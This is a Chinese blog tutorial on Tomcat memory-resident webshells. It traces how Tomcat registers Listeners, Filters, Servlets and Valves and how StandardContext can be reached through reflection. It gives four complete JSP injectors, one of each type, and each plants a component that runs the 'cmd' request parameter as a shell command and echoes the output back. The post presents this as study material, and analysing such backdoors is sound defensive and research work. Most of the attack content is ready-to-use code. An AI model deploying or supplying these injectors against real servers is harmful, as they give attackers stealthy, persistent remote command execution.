Tomcat内存马分析

这篇具有很好参考价值的文章主要介绍了Tomcat内存马分析。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

前言

自己简单搭建一个Tomcat项目,IDEA里选择JavaEE,勾上web就行了
加个依赖(这样就能找到三个Context了:

<dependency>
  <groupId>org.apache.tomcat.embed</groupId>
  <artifactId>tomcat-embed-core</artifactId>
  <version>8.5.16</version>
</dependency>

Tomcat的三个Context

ServletContext

ServletContext是Servlet规范中规定的ServletContext接口,一般servlet都要实现这个接口。大概就是规定了如果要实现一个WEB容器,他的Context里面要有这些东西:获取路径,获取参数,获取当前的filter,获取当前的servlet等

ApplicationContext

在Tomcat中,ServletContext规范的实现是ApplicationContext,因为门面模式的原因,实际套了一层ApplicationContextFacade。关于什么是门面模式具体可以看这篇文章,简单来讲就是加一层包装。
其中ApplicationContext实现了ServletContext规范定义的一些方法,例如addServlet,addFilter等

StandardContext

StandardContext存在于org.apache.catalina.core.StandardContext
实际上研究ApplicationContext的代码会发现,ApplicationContext所实现的方法其实都是调用的this.context中的方法,而这个this.context就是一个实例化的StandardContext对象
StandardContext是Tomcat中真正起作用的Context,负责跟Tomcat的底层交互,ApplicationContext其实更像对StandardContext的一种封装。用下面这张图来展示一下其中的关系:
Tomcat内存马分析

Listen型内存马分析

前置内容

Tomcat内存马分析
由图可知,最先接受请求并处理的就是Listen,这时候就可以在监听时,运行恶意代码,注入内存马。
Listen分为这几种:

  • ServletContext,服务器启动和终止时触发
  • Session,有关Session操作时触发
  • Request,访问服务时触发

Requset是最好触发和注入内存马的种类,只需要访问即可rce,在tomcat中Listen需实现两个接口LifecycleListenerEventListener,由于实现了LifecycleListener接口的监听器一般作用于tomcat初始化启动阶段,此时客户端的请求还不能被解析,所以我们重点看EventListener
Tomcat内存马分析
ServletRequestListener接口继承了它,因此我们只需要用ServletRequestListener即可servletRequestListener用于监听ServletRequest对象的创建和销毁,当我们访问任意资源,无论是servlet、jsp还是静态资源,都会触发requestInitialized方法
举个例子:

package com.example.tomcat_memoryma;

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;

public class Listener implements ServletRequestListener {
    @Override
    public void requestDestroyed(ServletRequestEvent sre){
        System.out.println("执行了Test requestDestroyed");
    }
    public void requestInitialized(ServletRequestEvent sre) {
        System.out.println("执行力Test requestInitialized");
    }
}

web.xml注册一下

<listener>
    <listener-class>com.example.tomcat_memoryma.Listener</listener-class>
</listener>

此时我们随便访问都会触发Listener
Tomcat内存马分析Tomcat内存马分析
先Initialize后Destroy

流程分析

requestInitialized处下个断点,然后debug启动服务,就能看见调用栈了Tomcat内存马分析
反向溯源一下
Tomcat内存马分析
StandardContext中调用了listener.requestInitialized,往上看可以知道listener是从instance数组里的元素,instance是getApplicationEventListeners()的返回值,继续看上一个调用栈
Tomcat内存马分析
StandardHostValue中调用了fireRequestInitEvent,而fireRequestInitEvent中调用了getApplicationEventListeners(),而getApplicationEventListeners()就是StandardContext中的一个方法,所以利用思路就是获取StandardContext来调用getApplicationEventListeners(),进而添加恶意监听器

StandardContext对象获取

方式一

通过request对象来获取

<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext standardContext = (StandardContext) req.getContext();
    Listener listener = new Listener();
    standardContext.addApplicationEventListener(listener);
%>

首先根据request对象反射获取request属性,然后再调用getContext方法获取StandardContext对象,溯源就可以发现StandardContext是Context的实现类,getContext方法返回的就是一个Context对象

方式二

通过Thread来获取

WebappClassLoader webappClassLoader = (WebappClassLoader) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoader.getResources().getContext();

和上面的原理一样,也是一步步往上去找,会发现都对应了起来

内存马分析

根据这两种方法可以写出Listen型内存马

<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>

<%!
    public class MyListener implements ServletRequestListener {
    //定义了一个Listen监听Servlet的销毁事件
        public void requestDestroyed(ServletRequestEvent sre) {
            //获取HttpServletRequest对象,用于RCE
            HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
            if (req.getParameter("cmd") != null){
                InputStream in = null;
                try {
                    //指令结果的输入流
                    in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
                    /*
scanner.useDelimiter命令在于设置当前scanner的分隔符,默认是空格,\\A为正则表达式,表示从字符头开始
这条语句的整体意思就是读取所有输入,包括回车换行符
                        */
                    Scanner s = new Scanner(in).useDelimiter("\\A");
                    //获得结果
                    String out = s.hasNext()?s.next():"";
                    //获取request对象
                    Field requestF = req.getClass().getDeclaredField("request");
                    requestF.setAccessible(true);
                    Request request = (Request)requestF.get(req);
                    //回显技术
                    request.getResponse().getWriter().write(out);
                }
                catch (IOException e) {}
                catch (NoSuchFieldException e) {}
                catch (IllegalAccessException e) {}
            }
        }

        public void requestInitialized(ServletRequestEvent sre) {}
    }
%>

<%//添加恶意Listener
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
    MyListener listenerDemo = new MyListener();
//在这里调用StandardContext进行添加
    context.addApplicationEventListener(listenerDemo);
%>

Tomcat内存马分析

Filter型内存马分析

按照上面所讲的正常流程,Listen过后就是经过Filter过滤器处理请求,和Listen对应,Filter肯定也可以注入内存马,因为Filter有doFilter方法,用来将请求放行

Filter调用示例

准备一个简单的filter示例:

package com.example.tomcat_memoryma;
import javax.servlet.*;
import java.io.IOException;

public class FilterDemo implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("filter 初始化");
    }
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
        System.out.println("doFilter 过滤");
        // 放行
        chain.doFilter(request,response);
    }
    @Override
    public void destroy(){
        System.out.println("filter 销毁");
    }
}

在web.xml中注册Filter

 <filter>
    <filter-name>FilterDemo</filter-name>
    <filter-class>com.example.tomcat_memoryma.FilterDemo</filter-class>
</filter>
<filter-mapping>
    <filter-name>FilterDemo</filter-name>
    <url-pattern>/*</url-pattern>
</filter-mapping>

启动web服务
Tomcat内存马分析
关闭web服务
Tomcat内存马分析
doFilter处下个断点,debug启动,看调用栈
Tomcat内存马分析
最后一步是在ApplicationFilterChain类中调用了doFilter方法,并且通过一个ApplicationFilterConfig对象来获取所有的filters
Tomcat内存马分析
溯源发现filters是一个ApplicationFilterConfig[]对象数组
Tomcat内存马分析
继续往回走,该类调用了internalDoFilter方法
Tomcat内存马分析
再往回走,在StandrdWrapperValue类中调用了filterChain.doFilter
Tomcat内存马分析
这个filterChain中存放的就是我们所定义的filter,可以看到filter是一个ApplicationFIlterConfig类型的数组
Tomcat内存马分析
接下来分析一下createFilterChain是如何将我们的filter添加进ApplicationFIlterConfig的,首先先获取了Request对象,实际上就是一个HttpServlet,然后通过HttpServlet获取了Filterchain
Tomcat内存马分析
往后看,用StandardContext获取了FilterMap数组
Tomcat内存马分析
后面通过FilterMap获取道filterConfig并放入到filterChain中Tomcat内存马分析
跟进addFilter,在这做的事情其实和上一步一样,遍历filter然后放入ApplicationFilterConfig[]中,这个filters数组就是上面说的ApplicationFilterConfig[]数组对象,通过调试可以发现有几个比较显眼的对象名称:

  • filterMaps拿名字
  • filterConfigs拿过滤器(值)

这两个变量在StandradContext中都有定义,其中还有个filterDefs也是一个重要变量,这个后续会讲:Tomcat内存马分析
Tomcat内存马分析

FilterMap

FilterMap可以通过StandardContext去添加
Tomcat内存马分析Tomcat内存马分析

FilterConfigs

StandardContext当然也存在对FilterConfigs操作的方法
Tomcat内存马分析
其中调用了filterConfigs.put方法添加,从源码不难看懂这是初始化时候做的事情,所以我们这里打个断点,重新启动一下。filterDefs中存放了我们的TestFilter和TestFIlter的过滤器,遍历filterDefs,拿到了key(Testfilter)和value,之后通过new一个ApplicationConfig将值存入filterConfig中:
Tomcat内存马分析

FilterDefs

通过分析,其实发现filterdefs才是真正存放了filter的地方,在StandradContext中也有添加filterDefs的方法:
Tomcat内存马分析
可以想到,tomcat是从web.xml中读取的filter,然后加入了filterMap和filterDef变量中,以下对应着这两个变量,其中filter-mapping对应着filterMap
Tomcat内存马分析

内存马分析

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
    final String name = "F12";
    ServletContext servletContext = request.getSession().getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
    //以上步骤用于获取StandardContext
    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);
    //反射获取filterconfig

    if (filterConfigs.get(name) == null){
        //开始添加Filter过滤器
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {

            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                HttpServletRequest req = (HttpServletRequest) servletRequest;
                //定义了恶意的FIlter过滤器,在dofilter方法执行恶意代码
                if (req.getParameter("cmd") != null){
                    byte[] bytes = new byte[1024];
                    Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
                    int len = process.getInputStream().read(bytes);
                    servletResponse.getWriter().write(new String(bytes,0,len));
                    process.destroy();
                    return;
                }
                filterChain.doFilter(servletRequest,servletResponse);
            }

            @Override
            public void destroy() {

            }

        };

        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());
        /**
         * 将filterDef添加到filterDefs中
         */
        standardContext.addFilterDef(filterDef);

        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(name);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());

        standardContext.addFilterMapBefore(filterMap);
        /**
         * 添加FilterMap
         */
        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

        filterConfigs.put(name,filterConfig);
        /**
         * 反射获取ApplicationFilterConfig对象,往filterConfigs中放入filterConfig
         */
        out.print("Inject Success !");
    }
%>

以上唯一需要注意的点就是filterMap.setDispatcher(DispatcherType.REQUEST.name());,我们在分析流程的时候是没有见过这个Dispatch的,这是一个坑点
Tomcat内存马分析
filterMaps里有dispatcherMapping这个属性,在FilterMap中也有这个Tomcat内存马分析
在这里设置成REQUEST就行,这样我们就能通过request命令执行
注意我是在windows下运行的,所以上面内存马改一下,把bash换成cmd,-c换成/c
Tomcat内存马分析Tomcat内存马分析

Servlet型内存马

准备一个servlet例子:

package com.example.tomcat_memoryma;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

public class HelloServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        resp.getWriter().write("Hello World");
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet(req, resp);
    }
}

在web.xml注册

<servlet>
    <servlet-name>HelloServlet</servlet-name>
    <servlet-class>com.example.tomcat_memoryma.HelloServlet</servlet-class>
</servlet>
<servlet-mapping>
    <servlet-name>HelloServlet</servlet-name>
    <url-pattern>/hello</url-pattern>
</servlet-mapping>

Tomcat内存马分析

创建StandardWrapper

在StandardContext#startInternal中,调用了fireLifecycleEvent()方法解析web.xml文件,我们在此下断点跟进:
Tomcat内存马分析
ContextConfig#webConfig()解析了xml文件,然后调用了configureContext
Tomcat内存马分析
跟进,可以看到前面的一些操作是对listen,filter的,按顺序来到对servlet的处理

.........
        for (ServletDef servlet : webxml.getServlets().values()) {
            //创建StandardWrapper对象
            Wrapper wrapper = context.createWrapper();
            // Description is ignored
            // Display name is ignored
            // Icons are ignored

            // jsp-file gets passed to the JSP Servlet as an init-param

            if (servlet.getLoadOnStartup() != null) {
            //设置LoadOnStartup属性

                wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());
            }
            if (servlet.getEnabled() != null) {
                wrapper.setEnabled(servlet.getEnabled().booleanValue());
            }
            //设置ServletName属性
            wrapper.setName(servlet.getServletName());
            Map<String,String> params = servlet.getParameterMap();
            for (Entry<String, String> entry : params.entrySet()) {
                wrapper.addInitParameter(entry.getKey(), entry.getValue());
            }
            wrapper.setRunAs(servlet.getRunAs());
            Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs();
            for (SecurityRoleRef roleRef : roleRefs) {
                wrapper.addSecurityReference(
                        roleRef.getName(), roleRef.getLink());
            }
             //设置ServletClass属性
            wrapper.setServletClass(servlet.getServletClass());
            MultipartDef multipartdef = servlet.getMultipartDef();
            if (multipartdef != null) {
                long maxFileSize = -1;
                long maxRequestSize = -1;
                int fileSizeThreshold = 0;

                if(null != multipartdef.getMaxFileSize()) {
                    maxFileSize = Long.parseLong(multipartdef.getMaxFileSize());
                }
                if(null != multipartdef.getMaxRequestSize()) {
                    maxRequestSize = Long.parseLong(multipartdef.getMaxRequestSize());
                }
                if(null != multipartdef.getFileSizeThreshold()) {
                    fileSizeThreshold = Integer.parseInt(multipartdef.getFileSizeThreshold());
                }

                wrapper.setMultipartConfigElement(new MultipartConfigElement(
                        multipartdef.getLocation(),
                        maxFileSize,
                        maxRequestSize,
                        fileSizeThreshold));
            }
            if (servlet.getAsyncSupported() != null) {
                wrapper.setAsyncSupported(
                        servlet.getAsyncSupported().booleanValue());
            }
            wrapper.setOverridable(servlet.isOverridable());
             //将包装好的StandWrapper添加进ContainerBase的children属性中
            context.addChild(wrapper);
        }
        for (Entry<String, String> entry :
                webxml.getServletMappings().entrySet()) {
            context.addServletMappingDecoded(entry.getKey(), entry.getValue());
        }

最后用了context.addServletMappingDecoded加了对应的路由:
Tomcat内存马分析

加载StandardWrapper

最后在StandardContext的findChildren获取到了StandardWrapper类Tomcat内存马分析
往下走就是一个加载流程,listen->filter->servlet,通过loadOnstartup()方法加载我们的wrapperTomcat内存马分析

public boolean loadOnStartup(Container children[]) {

        // Collect "load on startup" servlets that need to be initialized
        TreeMap<Integer, ArrayList<Wrapper>> map = new TreeMap<>();
        for (Container child : children) {
            Wrapper wrapper = (Wrapper) child;
            int loadOnStartup = wrapper.getLoadOnStartup();
            //判断属性loadOnStartup的值,因此这里应该大于0
            if (loadOnStartup < 0) {
                continue;
            }
            Integer key = Integer.valueOf(loadOnStartup);
            ArrayList<Wrapper> list = map.get(key);
            if (list == null) {
                list = new ArrayList<>();
                map.put(key, list);
            }
            list.add(wrapper);
        }

        // Load the collected "load on startup" servlets
        for (ArrayList<Wrapper> list : map.values()) {
            for (Wrapper wrapper : list) {
                try {
                    wrapper.load();
                } catch (ServletException e) {
                    getLogger().error(sm.getString("standardContext.loadOnStartup.loadException",
                          getName(), wrapper.getName()), StandardWrapper.getRootCause(e));
                    // NOTE: load errors (including a servlet that throws
                    // UnavailableException from the init() method) are NOT
                    // fatal to application startup
                    // unless failCtxIfServletStartFails="true" is specified
                    if(getComputedFailCtxIfServletStartFails()) {
                        return false;
                    }
                }
            }
        }
        return true;

    }

上面有个判断loadOnStartup的值需要大于0才会继续去加载,这里的loadOnStartup对应servlet的懒加载机制(通过注解来设置路由等等),默认值为-1,此时只有当servlet被调用时Servlet才会被加载到内存中

内存马分析

通过上文的分析我们能够总结出创建Servlet的流程

  1. 获取StandardContext对象
  2. 编写恶意Servlet
  3. 通过StandardContext.createWrapper()创建StandardWrapper对象
  4. 设置StandardWrapper对象的loadOnStartup属性值
  5. 设置StandardWrapper对象的ServletName属性值
  6. 设置StandardWrapper对象的ServletClass属性值
  7. 将StandardWrapper对象添加进StandardContext对象的children属性中
  8. 通过StandardContext.addServletMappingDecoded()添加对应的路径映射
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

 
<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext standardContext = (StandardContext) req.getContext();
				//获取StandardContext
%>
 
<%!
 //编写恶意的Servlet
    public class Shell_Servlet implements Servlet {
        @Override
        public void init(ServletConfig config) throws ServletException {
        }
        @Override
        public ServletConfig getServletConfig() {
            return null;
        }
        @Override
        public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
            String cmd = req.getParameter("cmd");
           	boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\a");
            String output = s.hasNext() ? s.next() : "";
            //普通回显
            PrintWriter out = res.getWriter();
            out.println(output);
            out.flush();
            out.close();
        }
        @Override
        public String getServletInfo() {
            return null;
        }
        @Override
        public void destroy() {
        }
    }
 
%>
 
<%
    //获取Wrapper并且将我们的Servlet放入Wrapper中
    Shell_Servlet shell_servlet = new Shell_Servlet();
    String name ="F12";
 
    Wrapper wrapper = standardContext.createWrapper();
    wrapper.setLoadOnStartup(1);
    wrapper.setName(name);
    wrapper.setServlet(shell_servlet);
    wrapper.setServletClass(shell_servlet.getClass().getName());
//这里获取的是类名称org.apache.jsp.servlet_jsp$Shell_Servlet
%>
 
<%
    //将wrapper添加进StandardContext
    standardContext.addChild(wrapper);
    standardContext.addServletMappingDecoded("/shell",name);
%>

Tomcat内存马分析

Valve型内存马

前置知识

参考:
https://xz.aliyun.com/t/11988#toc-19
valve是Tomcat中对Container组件进行的扩展。Container组件也就是前文一直提及的Tomcat四大容器
Tomcat由四大容器组成,分别是Engine、Host、Context、Wrapper。这四个组件是负责关系,存在包含关系。只包含一个引擎(Engine):

Engine(引擎):表示可运行的Catalina的servlet引擎实例,并且包含了servlet容器的核心功能。在一个服务中只能有一个引擎。同时,作为一个真正的容器,Engine元素之下可以包含一个或多个虚拟主机。它主要功能是将传入请求委托给适当的虚拟主机处理。如果根据名称没有找到可处理的虚拟主机,那么将根据默认的Host来判断该由哪个虚拟主机处理。
Host (虚拟主机):作用就是运行多个应用,它负责安装和展开这些应用,并且标识这个应用以便能够区分它们。它的子容器通常是 Context。一个虚拟主机下都可以部署一个或者多个Web App,每个Web App对应于一个Context,当Host获得一个请求时,将把该请求匹配到某个Context上,然后把该请求交给该Context来处理。主机组件类似于Apache中的虚拟主机,但在Tomcat中只支持基于FQDN(完全合格的主机名)的“虚拟主机”。Host主要用来解析web.xml。
Context(上下文):代表 Servlet 的 Context,它具备了 Servlet 运行的基本环境,它表示Web应用程序本身。Context 最重要的功能就是管理它里面的 Servlet 实例,一个Context代表一个Web应用,一个Web应用由一个或者多个Servlet实例组成。
Wrapper(包装器):代表一个 Servlet,它负责管理一个 Servlet,包括的 Servlet 的装载、初始化、执行以及资源回收。Wrapper 是最底层的容器,它没有子容器了,所以调用它的 addChild 将会报错。

其实上述的话可以用下面这张图很好的概括:
Tomcat内存马分析
在四个组件中都有pipeline,而储存在pipeline中的就是对应的Valve,我们可以创建一个demo分析一下:

package com.example.tomcat_memoryma;

import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.valves.ValveBase;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;

class EvilValve extends ValveBase{

    @Override
    public void invoke(Request request, Response response) throws IOException, ServletException {
        System.out.println("111");
        try {
            Runtime.getRuntime().exec(request.getParameter("cmd"));
        } catch (Exception e) {

        }
    }
}
public class TestValve extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        try {
            Field reqF = req.getClass().getDeclaredField("request");
            reqF.setAccessible(true);
            Request request = (Request) reqF.get(req);
            StandardContext standardContext = (StandardContext) request.getContext();
            standardContext.getPipeline().addValve(new EvilValve());
            resp.getWriter().write("inject success");
        } catch (Exception e) {
        }
    }
}

在web.xml注册

<servlet>
    <servlet-name>TestValve</servlet-name>
    <servlet-class>com.example.tomcat_memoryma.TestValve</servlet-class>
</servlet>
<servlet-mapping>
    <servlet-name>TestValve</servlet-name>
    <url-pattern>/valve</url-pattern>
</servlet-mapping>

在invoke处打个断点调试,可以看到调用栈里很多valve,看第一个调用的valve:StandardEngineValve
Tomcat内存马分析
在这里获取了第一个valve,接下来就是按顺序不断的获取value,从这里可以发现,value链是通过invoke方法进行放行的,当前value的invoke执行后就会执行下一个value的invoke方法,我们进一步溯源:
Tomcat内存马分析
从上面这张图可以看到获取组件的顺序,先获取Container在获取pipeline最后获取valve并且在StandardPipeline中有方法addvalue
Tomcat内存马分析
这样我们的注入思路就有了

获取Context

Field requestField = request.getClass().getDeclaredField("request");
requestField.setAccessible(true);
final Request request1 = (Request) requestField.get(request);
StandardContext standardContext = (StandardContext) request1.getContext();

获取pipeline

Field pipelineField = ContainerBase.class.getDeclaredField("pipeline");
pipelineField.setAccessible(true);
StandardPipeline standardPipeline1 = (StandardPipeline) pipelineField.get(standardContext);

创建恶意valve并且添加进standardpipeline

ValveBase valveBase = new ValveBase() {
        @Override
        public void invoke(Request request, Response response){
            try {
                Runtime.getRuntime().exec("calc");
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    };
    standardPipeline1.addValve(valveBase);
    this.getNext().invoke(request, response);

这里为了让程序继续执行下去,恶意value类也必须要调用下一个value的invoke方法,否则无法正常进行

内存马分析

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.*" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%
    Field requestField = request.getClass().getDeclaredField("request");
    requestField.setAccessible(true);

    final Request request1 = (Request) requestField.get(request);
    StandardContext standardContext = (StandardContext) request1.getContext();

    Field pipelineField = ContainerBase.class.getDeclaredField("pipeline");
    pipelineField.setAccessible(true);
    StandardPipeline standardPipeline1 = (StandardPipeline) pipelineField.get(standardContext);

    ValveBase valveBase = new ValveBase() {
        @Override
        public void invoke(Request request, Response response) throws ServletException,IOException {
            if (request.getParameter("cmd") != null) {
                boolean isLinux = true;
                String osTyp = System.getProperty("os.name");
                if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                    isLinux = false;
                }
                String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
                InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\\A");
                String output = s.hasNext() ? s.next() : "";
                response.getWriter().write(output);
                response.getWriter().flush();
                this.getNext().invoke(request, response);
            }
        }
    };

    standardPipeline1.addValve(valveBase);

    out.println("evil valve inject done!");
%>

Tomcat内存马分析
valve内存马的一个缺点就是让其它jsp文件失效了,我测试是这样的文章来源地址https://www.toymoban.com/news/detail-844381.html

到了这里,关于Tomcat内存马分析的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Tomcat 的内存配置

    修改 Tomcat 的内存配置,你需要调整 Tomcat 的 Java 虚拟机(JVM)参数。具体来说,你需要修改 catalina.sh (Linux/macOS)或 catalina.bat (Windows)脚本中的 JAVA_OPTS 变量。以下是一般的步骤: 找到 catalina.sh 或 catalina.bat 文件。在 Tomcat 安装目录下的 bin 文件夹中可以找到这些文件。 备

    2024年02月08日
    浏览(41)
  • Tomcat内存马回显

    详情见:https://www.cnblogs.com/F12-blog/p/18111253 之前说的都是利用 jsp 注入内存马,但 Web 服务器中的 jsp 编译器还是会编译生成对应的 java 文件然后进行编译加载并进行实例化,所以还是会落地。 但如果直接注入,比如利用反序列化漏洞进行注入,由于 request 和 response 是 jsp 的内

    2024年04月08日
    浏览(44)
  • 文本----简单编写文章的方法(中),后端接口的编写,自己编写好页面就上传到自己的服务器上,使用富文本编辑器进行编辑,想写好一个项目,先分析一下需求,再理一下实现思路,再搞几层,配好参数校验,lomb

    1.1 今天在编写代码的时候,突然想实现一个目标:怎样能够在自己的网站上发一些文章  (lingyidianke.com) 1.2 参考自己之前写的一些资料,做一做试试,那么怎么做呢?首先,我们参考一下我们之前的资料,之前写过的大事件资料: 1.2.1 从项目结构上看,我们要创两个项目 1

    2024年02月19日
    浏览(53)
  • tomcat内存配置及配置参数详解

    tomcat内存配置及配置参数详解 1、jvm内存管理机制: 1)堆(Heap)和非堆(Non-heap)内存 按照官方的说法:“Java 虚拟机具有一个堆,堆是运行时数据区域,所有类实例和数组的内存均从此处分配。堆是在 Java 虚拟机启动时创建的。”“在JVM中堆之外的内存称为非堆内存(Non-heap memor

    2024年02月07日
    浏览(40)
  • 手机访问自己电脑部署的Tomcat项目!亲测有效!!

    要确定Tomcat项目是能正常在电脑的浏览器访问的 手机和电脑处于同一个局域网,比如手机和电脑是同一个wifi,或者手机开热点给电脑使用。 win + r,输入cmd,打开命令行。 输入ipconfig,查看自己的IP地址。 之后在手机输入浏览器访问的时候,不使用localhost,使用电脑的ip地址

    2024年02月08日
    浏览(45)
  • Tomcat运行后localhost:8080访问自己编写的网页

    主要是注意项目结构,home.html放在src/resources/templates下的home.html下,application.properties可以不做任何配置。还有就是关于web包的位置,作者一开始将web包与tabtab包平行,访问8080出现了此类报错: Whitelabel Error Page This application has no explicit mapping for /error, so you are seeing this as a fal

    2024年02月12日
    浏览(44)
  • 配置tomcat内存大小(windows、linux)

    -Xms:                         JVM初始分配的堆内存 -Xmx:                         JVM最大允许分配的堆内存,按需分配 -XX:PermSize:           JVM初始分配的非堆内存 -XX:MaxPermSize:    JVM最大允许分配的非堆内存,按需分配 补充 1、JVM初始分配

    2024年02月12日
    浏览(48)
  • 【Java基础教程】(七)面向对象篇 · 第一讲:上干货!面向对象的特性、类与对象、内存结构引用分析、垃圾收集器 GC处理、封装性详解、构造方法、匿名对象、简单 Java 类~

    程序是将数据和逻辑封装在一起的代码段。在Java中,方法是常用的代码段封装方式。然而,在Java中,方法必须存在于一个类中才能使用。因此,我们将进入本章的核心内容——面向对象编程。 利用面向对象设计的程序可以实现代码的重用,并方便开发者进行项目维护。面向

    2024年02月13日
    浏览(44)
  • Linux下设置Tomcat服务器的内存大小

    Tomcat 是一个开源的 Java Servlet 容器,用于实现 Java Servlet 和 JavaServer Pages (JSP)。在 Linux 系统下,你可以通过调整 Tomcat 的内存大小来优化服务器的性能。本文将详细介绍如何在 Linux 系统下设置 Tomcat 服务器的内存大小。 打开 Tomcat 的配置文件 Tomcat 的配置文件通常位于 Tomcat 安

    2024年02月05日
    浏览(52)
  • 如何把自己写的前端界面用tomcat部署到服务器中

    一、所需环境 tomcat8.5.85,CentOS7 在部署之前要确认自己的tomcat可以运行 二、开始部署,把自己要部署的前端项目发送到tomcat 的webapp目录下 我这里使用的是xftp传送过去的 三、配置tomcat的conf/server.xml文件 在之间添加如下配置 注意 其中person为我项目的名字 我的项目person中打开

    2024年02月08日
    浏览(52)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包